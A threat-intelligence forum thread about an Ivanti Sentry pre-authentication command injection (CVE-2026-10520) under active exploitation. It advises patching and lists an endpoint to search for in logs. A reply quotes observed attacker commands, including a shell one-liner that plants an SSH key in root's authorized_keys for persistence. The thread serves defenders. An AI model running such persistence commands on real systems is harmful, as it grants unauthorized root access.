CVE-2026-10520: Ivanti Sentry Preauth Command Injection EITW

Threat Intel
, , ,
1

Last Updated: 2026-06-11T13:15:59Z

What’s Happening

I can’t believe this is the first Ivanti post on the forum. It won’t be the last.

On 2026-06-09T07:00:00Z, Ivanti published an advisory for two critical vulnerabilities: CVE-2026-10520, the command injection vuln, and CVE-2026-10523, an authentication bypass. The command execution vuln is a perfect 10, and is indeed a no-auth code execution vector that runs commands as root.

At the time, the vulnerability was not exploited in the wild. That has changed, according to Shadowserver and Bleeping Computer.

The method of attack was demonstrated by WatchTowr, and is straightforward once you know the path.

Actions

Upgrade to patched versions.

Also, if you can, consider reviewing appliance logs for requests to this endpoint:

/mics/api/v2/sentry/mics-config/handleMessage

Then follow on with hunting for other anomalous activity from the device.

Notes

Summary

Lol Ivanti

2 Likes
2

There is a public post by Ryan Dewhurst detailing some of the executed commands:

  • uname -a
  • id
  • /bin/sh -c "mkdir -p /root/.ssh && echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEXpun67XpunD2Z1aZQw2ifV2iXTKn2RLejfUjbZlTb6' >> /root/.ssh/authorized_keys && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys"